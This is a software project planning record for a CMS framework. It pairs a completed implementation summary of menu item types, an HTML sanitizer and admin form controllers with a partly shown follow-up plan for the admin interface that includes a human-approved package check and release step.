---
# Phase 17 Plan 01: Framework Go for blog companions Summary
**Typed menu item type registry (signpost) with layered URL patterns, a bluemonday-backed sanitizer (seaglass), and cabana richeditor, repeater, dependent dropdown, tree reorder and singleton controllers, all with boot checks, swag/OpenAPI, inventories, docs and Postgres smoke tests**
## Performance
- **Duration:** 41 min
- **Started:** 2026-10-12T12:54:21Z
- **Completed:** 2026-10-12T13:35:49Z
- **Tasks:** 4 (Task 1 tracer, verified end-to-end before expansion)
- **Files modified:** 55 (5462 insertions, 81 deletions)
## Accomplishments
- **pact:** `HasMenuItemTypes`, `MenuItemType` (Key, Label, DefaultPattern, PatternFrom, Placeholders, Nesting, DynamicItems, References, Resolve), `MenuItemReference`, `MenuItemResolve`, `ResolvedMenuItem` (ordered `[]MenuItemAlternate`), `MenuItemAlternate`, `DependentOptionsProvider`, `DependentOptionSet`, `AdminSingleton`; `Option.Depth` (`depth,omitempty`, existing payloads unchanged).
- **signpost (new):** `Activate` (called by party after postcard, before Boot), `Registry` (`Types`, `Type`, `Pattern`, `Resolve`), `ReferenceOptions`, `ConfigKey` = `menu_items.patterns`. Boot errors prefixed `signpost:` for empty/duplicate keys (both plugin IDs named), nil Resolve, empty or relative DefaultPattern, dangling/self/chained PatternFrom, unknown or relative host overrides.
- **seaglass (new):** `Sanitize`, `SanitizeReport`, `Check`, `Removals` over bluemonday v1.0.27 with Journal's byte-stable token comparison.
- **cabana:** `type: richeditor`, `type: repeater` (`cabana.RepeaterForm`), `dependsOn` on dropdowns, `config_reorder.yaml` + `reorder` toolbar button (`cabana.ListReorder`), singleton controllers. New routes: `GET .../fields/{field}/dependent-options`, `GET` and `POST .../reorder`, `GET .../singleton`, with result types `AdminDependentOptionsResult`/`AdminDependentOption`, `AdminReorderTree`/`AdminReorderNode`/`AdminReorderPartition`/`AdminReorderPartitionOption`, `AdminReorderRequest`/`AdminReorderNodeInput`, `AdminSingletonResult`.
- Backend phrase keys (en, pl with CLDR plurals): `richeditor.removed_elements|removed_attributes|removed_comments|markup_changed`, `repeater.max_items|min_items`, `form.dependent_invalid`, `reorder.stale|load_failed`.
- Docs: new `docs/plugins/menu-item-types.md`; sections in `docs/backend/forms.md` (dependent dropdowns, repeater, rich text), `lists-and-filters.md` (tree reorder), `admin-controllers.md` (singleton controllers), `settings.md` (link to a singleton); READMEs for signpost, seaglass, pact, party, cabana and the root table.
## Task Commits
1. **Task 1 (tracer): menu item type registry and dependent dropdown binding** - `0cdff4c` (feat)
2. **Task 2: decision note** - `69bb1cc` (docs, planning doc committed alone before the dependency)
3. **Task 2: richeditor on the seaglass sanitizer** - `71fa597` (feat)
4. **Task 3: repeater and the dependent dropdown save recheck** - `46835fd` (feat)
5. **Task 4: tree reorder and singleton controllers** - `23f33c3` (feat)
**Plan metadata:** recorded in the docs commit that adds this SUMMARY.
## Docker smoke tests
All ran on the local Docker daemon (testcontainers Postgres) and passed: `TestCompanionsDependentSmoke`, `TestCompanionsRichEditorSmoke`, `TestCompanionsRepeaterSmoke`, `TestCompanionsReorderSmoke`, `TestCompanionsSingletonSmoke`, `TestPhase10OpenAPIConformance`. The full `go test ./modules/cabana` (with Docker) passed after Task 4. `go vet ./...` and `go test -short ./...` were green at every task commit; `examples/hello` tests pass with the new dependency.
## Files Created/Modified
- `modules/signpost/*` - registry, README, smoke test, runnable examples used by the docs
- `modules/seaglass/*` - sanitizer, README, smoke test
- `modules/cabana/field_dependent.go` - dependsOn compile, controller-only refusals, dependent-options route, save recheck
- `modules/cabana/field_richeditor.go` - richeditor keys, value check, sanitize and notices
- `modules/cabana/field_repeater.go` - repeater compile, row decode/coerce, nested sanitize, record hydration
- `modules/cabana/reorder.go`, `modules/cabana/singleton.go` - reorder config and routes, singleton route
- `modules/cabana/testdata/companions/` - acme.companions fixture (links: type/reference/description/rows/group; profiles singleton)
- `modules/cabana/companions_smoke_test.go` - fixture plugin, env and the five smoke tests (also mounted in the conformance env)
## Decisions Made
See `key-decisions` in the front matter. In short: module names signpost and seaglass; `menu_items.patterns` read once with compass `LoadSection`, YAML-file only; PatternFrom one level; Removals carries counts; nested dependent options addressed as `repeater.field`; reorder writes via `UpdateColumns` without model hooks; reorder partition is a belongsTo relation field of the form.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 3 - Blocking] Route constraints for the nested dispatcher**
- **Found during:** Task 1 and Task 3
- **Issue:** `fields/{field}/dependent-options` cannot be its own ServeMux pattern next to the shared six-segment GET (it is served through `nestedGet`, like `fields/{field}/options`), and the `name` constraint refused the hyphen of `dependent-options`; the `segment` constraint refused the `repeater.field` path.
- **Fix:** `constrainNested` admits a hyphen in `name` and one dot in `segment`; handlers still resolve names against the compiled schema, so anything else answers 404. Inventory entry uses `mounted: nestedGetRoute`.
- **Files modified:** modules/cabana/http.go, modules/cabana/security_coverage_test.go
- **Committed in:** 0cdff4c, 46835fd
**2. [Rule 2 - Missing critical] seaglass.Removals counts**
- **Found during:** Task 2
- **Issue:** The planned `Removals{Elements, Attributes, Comments, Changed}` keeps at most ten distinct names, so plural notices (`:count elements were removed`) could not be exact.
- **Fix:** Added `ElementCount` and `AttributeCount` (Journal's report has the same fields).
- **Files modified:** modules/seaglass/seaglass.go
- **Committed in:** 71fa597
**3. [Rule 2 - Missing critical] Repeater accepts tab and context**
- **Found during:** Task 3
- **Issue:** The plan's key list for repeater omitted `tab` and `context`; ported Winter forms flatten their tabs into `tab:` keys (RESEARCH Pitfall 9), so FAQ content in a tab would fail boot.
- **Fix:** `tab` and `context` accepted on the repeater field itself (nested fields still refuse them).
- **Files modified:** modules/cabana/field_repeater.go
- **Committed in:** 46835fd
**4. [Rule 3 - Blocking] `prompt` was fileupload-only**
- **Found during:** Task 3
- **Issue:** `compileFileuploadKeys` refused `prompt` on every other type, so the repeater's add-button text failed boot.
- **Fix:** `prompt` allowed on `repeater` (error message updated to "fileupload or repeater"); the repeater compile decodes it.
- **Files modified:** modules/cabana/field_file.go, modules/cabana/field_repeater.go
- **Committed in:** 46835fd
**5. [Rule 3 - Blocking] OpenAPI regenerated in Task 3**
- **Found during:** Task 3
- **Issue:** `FormField` gained `form`, `maxItems`, `minItems`, `titleFrom`, so the committed admin.json and schema.d.ts drifted (Task 3's file list did not name them).
- **Fix:** Ran `scripts/check-admin-openapi.sh`, typecheck passed, committed the regenerated files with Task 3.
- **Files modified:** admin/openapi/admin.json, admin/src/api/schema.d.ts
- **Committed in:** 46835fd
**6. [Rule 3 - Blocking] Docs Go snippets need src= references**
- **Found during:** Task 1
- **Issue:** The docs checker refuses Go code blocks without a `src=` reference to code a test runs.
- **Fix:** `modules/signpost/example_test.go` (runnable examples plus a test that calls the documented methods directly); docs blocks synced with `summer docs:sync`.
- **Files modified:** modules/signpost/example_test.go, docs/plugins/menu-item-types.md, docs/backend/forms.md
- **Committed in:** 0cdff4c
### Resolved deviation recorded by the plan
- **D-10 Journal clause:** Journal category content stays `type: blogeditor` (shipped in 16.2); this plan does not switch it to `richeditor`. Recorded in the decision note `.planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md`.
---
**Total deviations:** 6 auto-fixed (2 missing critical, 4 blocking). **Impact:** all additive and needed for the planned contracts to boot, render or be documented; no scope creep, and no existing payload changed (Option.Depth is omitempty; new schema keys are omitempty).
## Issues Encountered
- The fixture login name first used a temp-dir base name, which repeats across tests and hit the unique `backend_users.login`; switched to a nanosecond stamp.
- A reorder smoke assertion reused one GORM struct for two `First` calls (the stale primary key filtered the second); fixed with separate variables.
## User Setup Required
None - no external service configuration required.
## Next Phase Readiness
- Plan 02 (admin SPA) can build RepeaterField, RichEditorField, the dependent DropdownField fetch, ReorderView and the singleton form on the regenerated `schema.d.ts`; server-side phrase keys exist, SPA copy keys (UI-SPEC) are still to be added there.
- Plans 03 and 04 can implement `pact.HasMenuItemTypes` (Journal), `pact.DependentOptionsProvider` with `signpost.ReferenceOptions` (menu entries, sitemap rows), `config_reorder.yaml` with a menu partition, and `pact.AdminSingleton` for the sitemap definition.
- No framework tag yet (plan 02 owns the release gate and dist).
---
*Phase: 17-blog-companions*
*Completed: 2026-10-12*
## Self-Check: PASSED
All 16 created key files exist; commits 0cdff4c, 69bb1cc, 71fa597, 46835fd and 23f33c3 are in the log; `commits` (5) is measured from the plan ledger.

View File

@@ -0,0 +1,340 @@
---
phase: 17-blog-companions
plan: 02
type: execute
wave: 2
depends_on: ["17-01"]
files_modified:
- admin/package.json
- admin/package-lock.json
- admin/src/components/form/fields/RichEditorField.vue
- admin/src/components/form/richeditor/editor.ts
- admin/src/components/form/richeditor/LinkPopover.vue
- admin/src/components/form/richeditor/lossy.ts
- admin/src/components/form/fields/RepeaterField.vue
- admin/src/components/form/fields/DropdownField.vue
- admin/src/components/form/registry.ts
- admin/src/components/form/formState.ts
- admin/src/components/form/FormGrid.vue
- admin/src/views/ReorderView.vue
- admin/src/views/ListView.vue
- admin/src/views/FormView.vue
- admin/src/views/SettingsIndexView.vue
- admin/src/app/router.ts
- admin/src/api/types.ts
- admin/tests/form/RichEditorField.test.ts
- admin/tests/form/RepeaterField.test.ts
- admin/tests/form/DependentDropdown.test.ts
- admin/tests/views/ReorderView.test.ts
- admin/tests/fixtures/companions.form-schema.json
- admin/tests/fixtures/lang.json
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- modules/boardwalk/dist
- docs/backend/forms.md
autonomous: false
requirements: [SC-1, D-06, D-07, D-08, D-09, D-10, D-11]
estimate:
tokens: 190000
raw_tokens: 190000
tasks: 6
confidence: low
must_haves:
truths:
- "D-10 (SPA): richeditor renders the RichEditorField from the UI-SPEC (Reka toolbar with bold, italic, underline, heading 3, bullet and numbered list, quote, link and unlink, undo and redo, an Edit HTML toggle, a link popover that accepts only http, https, mailto, tel and relative URLs) on TipTap 3.31.4 (core, pm, starter-kit pinned exact, installed only after the human package check); the TipTap code is a lazy chunk with a skeleton while it loads and a plain HTML textarea fallback when it fails."
- "D-10 untouched rule (UI-SPEC backstop): a loaded richeditor value the user does not edit is submitted byte-identical (never re-serialized by TipTap); after the first edit the value is the editor HTML and an editor holding only an empty paragraph emits an empty string; imported HTML with elements outside the editor schema shows the lossy note and stays editable without loss in the HTML view."
- "D-10 notices: removal notices the server returns in meta.notices render under the field through the existing FormField warning callout, and the editor shows the sanitized value the save returned."
- "D-07 (SPA): RepeaterField renders rows with drag handle, index, titleFrom title (repeater.untitled when empty), error chip, move up and down, expand and collapse, remove (asking first only for a non-empty row), an outline add button with the field prompt, the maxItems counter, the dashed empty state, collapse all and expand all; a collapsed row does not mount its richeditor; path errors such as content.3.answer expand the row and focus the first invalid nested control; every add, remove, reorder and nested edit marks the form dirty and nothing is sent before Save."
- "D-08 (SPA): a dropdown with dependsOn shows the UI-SPEC states (waiting for the sibling, loading with aria-busy, not used when applies is false, empty with form.dependent_empty, loaded with depth-indented labels, failed with a retry button); a sibling change refetches with last-request-wins and caches per sibling value, and a value no longer offered is cleared to null, marks the form dirty and is announced politely; the same component serves the menu entry form and the sitemap repeater rows."
- "D-09 (SPA): a list whose schema declares reorder shows an outline Reorder button before New record that opens ReorderView with the partition query; ReorderView renders the indented tree with drag handle and move up, move down, indent and outdent buttons (keyboard arrows on the handle do the same), refuses drops into a node's own subtree, saves the whole node set in one POST debounced 400 ms after the last move, flushes on leave, reverts with reorder.failed on error, reloads with reorder.stale on a 409, and shows loading, empty, load-failure and 403 states."
- "D-11 (SPA): a settings entry that links to a singleton controller opens that controller's one record in FormView update mode through GET …/singleton, with no Delete button, back to the settings index, and a subtitle link supplied by the form schema."
- "D-06: admin/src/api/schema.d.ts stays in sync, modules/boardwalk/dist is rebuilt and committed so scripts/check-admin-dist.sh passes, and every new UI string is a key in modules/phrasebook/backend/lang en and pl with the UI-SPEC copy (no literal UI strings in components)."
- "Release (user checkpoint): after a human approves at a blocking checkpoint, an annotated summercms tag (the next free v0.1.x after the highest at execution time; v0.1.22 at planning time) containing plans 01 and 02 is on origin and master is pushed; no pushed tag is moved."
artifacts:
- path: "admin/src/components/form/fields/RichEditorField.vue"
provides: "richeditor field on TipTap with untouched rule, HTML view, link popover, lossy note"
contains: "richeditor"
- path: "admin/src/components/form/fields/RepeaterField.vue"
provides: "repeater rows with nested FormGrid"
contains: "data-repeater"
- path: "admin/src/views/ReorderView.vue"
provides: "tree reorder page"
contains: "data-reorder-tree"
- path: "admin/tests/form/RichEditorField.test.ts"
provides: "untouched byte-identical smoke"
contains: "byte-identical"
- path: "modules/boardwalk/dist"
provides: "committed SPA build"
key_links:
- from: "admin/src/components/form/registry.ts"
to: "RichEditorField.vue and RepeaterField.vue"
via: "renderers map entries richeditor and repeater; repeater in groupLabelledTypes"
pattern: "\\['repeater', RepeaterField\\]"
- from: "admin/src/components/form/fields/DropdownField.vue"
to: "GET …/fields/{field}/dependent-options"
via: "openapi-fetch client keyed on the sibling value"
pattern: "dependent-options"
- from: "admin/src/views/ReorderView.vue"
to: "GET and POST …/reorder"
via: "debounced full-set POST"
pattern: "reorder"
prohibitions:
- statement: "No package is installed before the human approves it at the legitimacy checkpoint; only @tiptap/core, @tiptap/pm and @tiptap/starter-kit enter admin/package.json, pinned exact; no drag-and-drop or UI library is added."
status: unresolved
verification: judgment
- statement: "No tag or branch is pushed before the human approves at the release checkpoint; no pushed tag is moved or deleted; no credential is printed or committed."
status: unresolved
verification: judgment
- statement: "No new admin tokens, colours, fonts, radii or shadows; components reuse the Direction C classes named in the UI-SPEC."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): the sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
This plan's slice (plan 2 of 6, admin SPA plus framework release, wave 2, runs beside plans 03 and 04 which never edit summercms.go): the admin renders and edits the plan 01 features, the dist is committed, and a human-approved summercms tag publishes them.
## Spec-less probe fallback
Edge items owned by this plan are the UI-SPEC backstops lifted into truths (untouched value byte-identical, repeater remove and reorder semantics, reorder save contract). Prohibitions recalled in-prompt, descriptor-less.
## UI Considerations (lifted from 17-UI-SPEC.md)
Resolved explicit items are truths above (states of richeditor, repeater, dependent dropdown, reorder tree, singleton form). Backstops: `{statement: "loading HTML with b, div and attributes and saving without an edit submits the stored string byte-identical", verification: backstop}`, `{statement: "removing a non-empty repeater row asks first, an empty one does not; arrow keys and buttons reorder and announce repeater.moved; nothing is sent before Save", verification: backstop}`, `{statement: "three quick tree moves send one debounced POST with the full node set; a failed POST restores the previous tree; each keyboard move announces in the live region", verification: backstop}`. This plan writes smoke specs for the first; plan 06 completes all three. No unresolved items.
## Decisions taken in this plan
- TipTap 3.31.4 (core, pm, starter-kit) mounted on a ref element without @tiptap/vue-3 (RESEARCH Supporting table), starter-kit configured as the UI-SPEC says (headings [3], Link with openOnClick false, autolink false, protocols http, https, mailto, tel; Code, CodeBlock, HorizontalRule off; injectCSS false).
- Native HTML5 drag and drop plus button and keyboard alternatives, as FileuploadField does; no drag-and-drop dependency.
- Singleton handling lives in FormView behind the schema's singleton flag (no separate view).
- Release tag: the highest `v0.1.*` plus one at execution time, annotated, created only after the checkpoint. Hosts are not bumped here; plan 05 bumps the plugins' go.mod requires to this tag.
## Artifacts this phase produces (this plan)
- SPA: `RichEditorField.vue` with `richeditor/{editor.ts, LinkPopover.vue, lossy.ts}`, `RepeaterField.vue`, dependsOn support in `DropdownField.vue`, `ReorderView.vue` and its route, the Reorder list button, singleton handling in `FormView.vue` and `SettingsIndexView.vue`.
- Phrase keys (en, pl): `repeater.*`, `richeditor.*`, `reorder.*`, `form.dependent_*`, `messages.list.reorder`.
- Smoke specs: `RichEditorField.test.ts`, `RepeaterField.test.ts`, `DependentDropdown.test.ts`, `ReorderView.test.ts`.
- Rebuilt `modules/boardwalk/dist`; summercms annotated tag (next free v0.1.x) on origin.
<objective>
Let administrators use the plan 01 features in the admin SPA and publish the framework as a tagged release.
Purpose: SC-1 needs working admin screens; D-06 requires the SPA, dist and types to ship with the framework features.
Output: four SPA features with smoke specs, rebuilt dist, a pushed tag after human approval.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/17-blog-companions/17-UI-SPEC.md
@.planning/phases/17-blog-companions/17-RESEARCH.md
@.planning/phases/17-blog-companions/17-01-SUMMARY.md
@.planning/notes/2026-10-07-embedded-admin-release-gate.md
Plan 01's routes and schema keys are the contract: dependsOn on dropdown fields, the repeater schema (form.fields, prompt, maxItems, minItems, titleFrom), richeditor, GET …/fields/{field}/dependent-options answering {applies, options[{value,label,depth}]}, GET and POST …/reorder (409 reorder_stale), GET …/singleton, the list schema reorder flag and the form schema singleton flag. Types come from admin/src/api/schema.d.ts (already regenerated by plan 01).
Concurrency: before Task 2 run `git status --porcelain -- admin modules/boardwalk modules/phrasebook` in summercms.go; stop and report if another session has edits there. Stage by explicit path; no co-author tags; SPA source, dist and planning docs in separate commits.
</context>
<tasks>
<task type="checkpoint:human-verify" gate="blocking-human">
<name>Task 1: Package legitimacy check before installing TipTap in the admin SPA (all three packages flagged too-new)</name>
<read_first>.planning/phases/17-blog-companions/17-RESEARCH.md (Package Legitimacy Audit, Standard Stack JS), admin/package.json, ../sm-journal-plugin/package.json (the same versions the Phase 16.2 check approved for Journal)</read_first>
<action>Install nothing. Run the read-only registry query in the verify command and print, for @tiptap/core, @tiptap/pm and @tiptap/starter-kit at 3.31.4: version, license, repository URL, publish time and the scripts object (preinstall, install and postinstall must be absent). Print https://www.npmjs.com/package/@tiptap/core, https://www.npmjs.com/package/@tiptap/pm, https://www.npmjs.com/package/@tiptap/starter-kit and https://github.com/ueberdosis/tiptap/releases. State the recorded choice: 3.31.4 is the version Journal already pins after the Phase 16.2 human check; the flag is the release age, not the packages. Stop for the human. This checkpoint is never auto-approved.</action>
<what-built>Nothing yet: a read-only registry report for the three editor packages.</what-built>
<how-to-verify>Open each npm page: publisher is the TipTap organisation (ueberdosis), repository github.com/ueberdosis/tiptap, license MIT, version 3.31.4 exists with normal weekly downloads and no install scripts; check the 3.31.4 release notes for a security advisory or a yanked release.</how-to-verify>
<resume-signal>Reply "packages approved" to install 3.31.4, "use X.Y.Z" to pin another 3.x release for all three (the executor re-runs the query for it), or "stop".</resume-signal>
<verify>
<automated>for p in @tiptap/core @tiptap/pm @tiptap/starter-kit; do npm view "$p@3.31.4" version license repository.url --json || exit 1; npm view "$p@3.31.4" scripts --json | grep -E '"(preinstall|install|postinstall)"' &amp;&amp; exit 1; done; echo registry-ok</automated>
<fails_when>Non-zero exit or "registry-ok" absent: a package or version is missing from the registry, or a package declares a preinstall, install or postinstall script.</fails_when>
</verify>
<acceptance_criteria>
- The verify printed registry-ok and the SUMMARY records each package's license, repository URL and the human's reply verbatim.
</acceptance_criteria>
<done>A human approved the exact TipTap version, or the plan stopped.</done>
</task>
<task type="tracer">
<name>Task 2: Tracer: an administrator edits a richeditor field, saves, sees what the server removed, and an untouched imported value is submitted byte-identical</name>
<precondition>Task 1 was answered "packages approved" (or "use X.Y.Z" with a passing re-run of its query) in this session.</precondition>
<files>admin/package.json, admin/package-lock.json, admin/src/components/form/fields/RichEditorField.vue, admin/src/components/form/richeditor/editor.ts, admin/src/components/form/richeditor/LinkPopover.vue, admin/src/components/form/richeditor/lossy.ts, admin/src/components/form/registry.ts, admin/tests/form/RichEditorField.test.ts, admin/tests/fixtures/companions.form-schema.json, admin/tests/fixtures/lang.json, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, modules/boardwalk/dist, docs/backend/forms.md</files>
<read_first>.planning/phases/17-blog-companions/17-UI-SPEC.md (Component Contracts 1 RichEditorField, Copywriting richeditor.*, UI Considerations rows for richeditor), admin/src/components/form/fields/MarkdownField.vue (control classes, read-only box, summer-markdown), admin/src/components/form/control.ts, admin/src/components/form/FormField.vue (notices callout), admin/src/components/form/registry.ts (renderers :64-82, valueless :96, groupLabelledTypes :101), admin/src/views/FormView.vue (dirty tracking and submit body), admin/src/app/i18n.ts, admin/tests/form/MarkdownField.test.ts (vitest harness), ../sm-journal-plugin/assets/src/blogeditor/element.ts and extensions.ts (TipTap 3.31.4 setup and the untouched-value pattern), modules/phrasebook/backend/lang/en/lang.yaml, scripts/check-admin-dist.sh</read_first>
<action>Per D-10 and the UI-SPEC RichEditorField contract.
Install: `npm --prefix admin install --save-exact @tiptap/core@3.31.4 @tiptap/pm@3.31.4 @tiptap/starter-kit@3.31.4` (or the version the human named).
Component: RichEditorField.vue renders the container (controlClass minus px-3.5, overflow-hidden, focus-within ring, data-richeditor), the Reka ToolbarRoot with the buttons, separators, aria-pressed state, mousedown.prevent and labels from richeditor.* keys, the editing area (summer-markdown, min-h-[160px], max-h-[480px], role textbox, aria-multiline, aria-labelledby the field label), and the HTML view textarea (font-mono 13px, spellcheck false) toggled by the Edit HTML button. editor.ts creates the TipTap Editor on a ref element with StarterKit configured as this plan's decisions say and is imported lazily (dynamic import) so TipTap is its own chunk; while it loads the container shows the 200px skel block with aria-busy; when the import fails the container becomes the HTML view with the toggle hidden and richeditor.load_failed above it. LinkPopover.vue (Reka Popover, 320px) validates http, https, mailto, tel, a leading slash, #, ? or ./ and bare relative paths, shows richeditor.link_invalid otherwise; Enter applies, Esc closes and refocuses the Link button; Ctrl or Cmd+K opens it. lossy.ts compares the stored HTML's tag names (case-insensitive) with p, br, strong, b, em, i, u, s, h3, ul, ol, li, blockquote, a, div, span and shows the role note note with richeditor.lossy_note when another tag is present.
Value contract: the field emits nothing until the user edits (the loaded string stays the model value byte for byte); after the first edit it emits editor.getHTML(), an empty paragraph emits an empty string, and the HTML view emits the textarea text as typed. Read-only shows the existing read-only box with summer-markdown or a muted dash. Notices for the field from meta.notices render through FormField as they do for plugin field types; after a save the field shows the returned value.
registry.ts: add ['richeditor', RichEditorField]. Phrase keys richeditor.* from the UI-SPEC copy (EN and PL) in modules/phrasebook/backend/lang and the test lang fixture.
Smoke: RichEditorField.test.ts with a test named "RichEditorField tracer: untouched value is submitted byte-identical" (loads HTML with b, div and an attribute, mounts the field in a form, saves without editing and asserts the submitted string equals the stored string exactly) and "RichEditorField edit emits editor HTML" (types into the editor, asserts the emitted value is the editor HTML).
Build: `npm --prefix admin run build`, then commit modules/boardwalk/dist separately; `bash scripts/check-admin-dist.sh`. Docs: docs/backend/forms.md richeditor section gains the admin behaviour (untouched rule, HTML view, lossy note).</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/form/RichEditorField.test.ts &amp;&amp; grep -q '"@tiptap/core": "3.31.4"' admin/package.json &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./modules/phrasebook ./modules/boardwalk</automated>
<fails_when>Non-zero exit: the SPA does not typecheck; a RichEditorField spec fails or vitest reports zero tests for the file; TipTap is not pinned exact; the committed dist differs from a fresh build; phrasebook or boardwalk tests fail (for example an en key missing in pl).</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "\['richeditor', RichEditorField\]" admin/src/components/form/registry.ts` prints one line.
- `grep -n "import(" admin/src/components/form/fields/RichEditorField.vue admin/src/components/form/richeditor/editor.ts` shows the lazy TipTap import.
- `grep -c "lossy_note" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports 1 per file.
- The vitest output for RichEditorField.test.ts lists the test "RichEditorField tracer: untouched value is submitted byte-identical" as passed.
</acceptance_criteria>
<done>An administrator can edit HTML in the richeditor, sees server removals, and opening and saving an imported value changes nothing.</done>
</task>
<task type="auto">
<name>Task 3: RepeaterField with nested rows and the dependent dropdown states, per the UI-SPEC</name>
<files>admin/src/components/form/fields/RepeaterField.vue, admin/src/components/form/fields/DropdownField.vue, admin/src/components/form/registry.ts, admin/src/components/form/formState.ts, admin/src/components/form/FormGrid.vue, admin/src/api/types.ts, admin/tests/form/RepeaterField.test.ts, admin/tests/form/DependentDropdown.test.ts, admin/tests/fixtures/companions.form-schema.json, admin/tests/fixtures/lang.json, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, modules/boardwalk/dist</files>
<read_first>.planning/phases/17-blog-companions/17-UI-SPEC.md (Component Contracts 2 RepeaterField and 3 Dependent dropdown, Copywriting repeater.* and form.dependent_*, UI Considerations rows), admin/src/components/form/fields/DropdownField.vue, admin/src/components/form/fields/MLField.vue (wrapper rendering inner fields), admin/src/components/form/FormGrid.vue (idPrefix, spans), admin/src/components/form/formState.ts (fieldErrors, focusField), admin/src/components/ui/ConfirmDialog.vue and confirm.ts (useConfirm), admin/src/components/form/fields/FileuploadField.vue (native drag and drop :904-910), admin/src/api/client.ts, admin/src/api/schema.d.ts (dependent-options operation), admin/tests/form/FormGrid.test.ts and MLField.test.ts</read_first>
<action>Per D-07 and D-08 and the UI-SPEC contracts 2 and 3.
RepeaterField.vue: the role group container labelled by the field label (repeater joins groupLabelledTypes), data-repeater, rows in Reka Collapsible (open by default), header with drag handle (repeater.move), index, title from titleFrom (dropdown option label, richeditor text without tags, else repeater.untitled), error chip with form.tab_errors and border-danger, move up and down (disabled at the ends), expand and collapse (aria-expanded), remove (repeater.remove_named, disabled at minItems; asks through the shared ConfirmDialog with repeater.remove_confirm only when the row has any non-empty value; focus moves to the next handle, else the previous, else the add button). The body renders a nested FormGrid with idPrefix form-field-rowKey so ids, labels, errors at field.index.nested and notices resolve per row; a collapsed row keeps its values and does not mount its richeditor. Footer: outline add button (prompt or repeater.add, data-action repeater-add, disabled at maxItems, appends a row with nested defaults and focuses its first control), counter repeater.count only with maxItems, collapse all and expand all when more than one row. Empty: the dashed block with repeater.empty and repeater.empty_hint. Reorder by drag (opacity-50 source, a dashed sel drop slot of the header height), ArrowUp and ArrowDown on the handle and the buttons; focus stays on the moved handle and a polite live region announces repeater.moved. A 422 with path keys expands the rows with errors and focusField focuses the first invalid nested control (formState maps field.index.nested paths). Every change marks the form dirty; nothing is sent before Save. Read-only renders rows expanded without controls.
DropdownField.vue dependsOn: when the schema field has dependsOn, read the sibling value (same form, or same repeater row through the row's form scope) and render the UI-SPEC states: sibling empty (disabled, form.dependent_waiting with the sibling label), loading (disabled, aria-busy, form.loading_options), applies false (disabled, form.dependent_not_used, value sent null), zero options (disabled, form.dependent_empty plus the same text as a muted described-by line), loaded (options with labels prefixed by four U+00A0 per depth), stale stored value (the disabled prompt option is selected, never a wrong choice), failed (role alert line with form.dependent_failed and a ghost Retry button form.dependent_retry). Fetch through the openapi-fetch client; cache per sibling value for the life of the form view; discard late responses for an old sibling value; when the current value is not in new options set it to null, mark dirty and announce form.dependent_cleared in the form's polite live region.
registry.ts: ['repeater', RepeaterField]; neither type is valueless. Phrase keys repeater.* and form.dependent_* (EN, PL) from the UI-SPEC.
Smoke specs: RepeaterField.test.ts "RepeaterField tracer: add, edit nested, reorder and remove change form state only" and DependentDropdown.test.ts "DependentDropdown loads options for the sibling value and clears a stale value". Rebuild and commit dist; check-admin-dist.</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/form/RepeaterField.test.ts tests/form/DependentDropdown.test.ts tests/form/FormGrid.test.ts tests/form/MLField.test.ts &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./modules/phrasebook</automated>
<fails_when>Non-zero exit: typecheck fails; a repeater or dependent spec fails or vitest finds zero tests in a named file; existing FormGrid or MLField specs regress; dist is stale; a phrase key is missing in one locale.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "\['repeater', RepeaterField\]" admin/src/components/form/registry.ts` prints one line.
- `grep -n "dependent-options" admin/src/components/form/fields/DropdownField.vue` prints at least one line.
- `grep -c "dependent_not_used\|empty_hint" modules/phrasebook/backend/lang/pl/lang.yaml` reports at least 2.
</acceptance_criteria>
<done>Editors add, edit, reorder and remove repeater rows, and dependent dropdowns follow their sibling with every UI-SPEC state.</done>
</task>
<task type="auto">
<name>Task 4: ReorderView with the list Reorder button, and the singleton form opened from settings</name>
<files>admin/src/views/ReorderView.vue, admin/src/views/ListView.vue, admin/src/views/FormView.vue, admin/src/views/SettingsIndexView.vue, admin/src/app/router.ts, admin/tests/views/ReorderView.test.ts, admin/tests/fixtures/lang.json, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, modules/boardwalk/dist</files>
<read_first>.planning/phases/17-blog-companions/17-UI-SPEC.md (Component Contracts 4 Reorder page and 5 Singleton form, Copywriting reorder.*, UI Considerations rows), admin/src/views/ListView.vue (header button group), admin/src/views/FormView.vue (header, footer buttons, unsaved guard, load states), admin/src/views/SettingsIndexView.vue (Controller link entries), admin/src/app/router.ts and controllerRoutes.ts, admin/src/state/useToasts.ts, admin/src/components/form/fields/FileuploadField.vue (debounced reorder POST, native drag and drop), admin/tests/form/FormView.test.ts and tests/app/router.test.ts</read_first>
<action>Per D-09 and D-11.
ListView: when the list schema declares reorder, render the outline ArrowUpDown button with messages.list.reorder (overridable label from the schema) and data-action reorder before the primary New record button, linking to the controller's reorder route with ?partition from the current filter on the partition column.
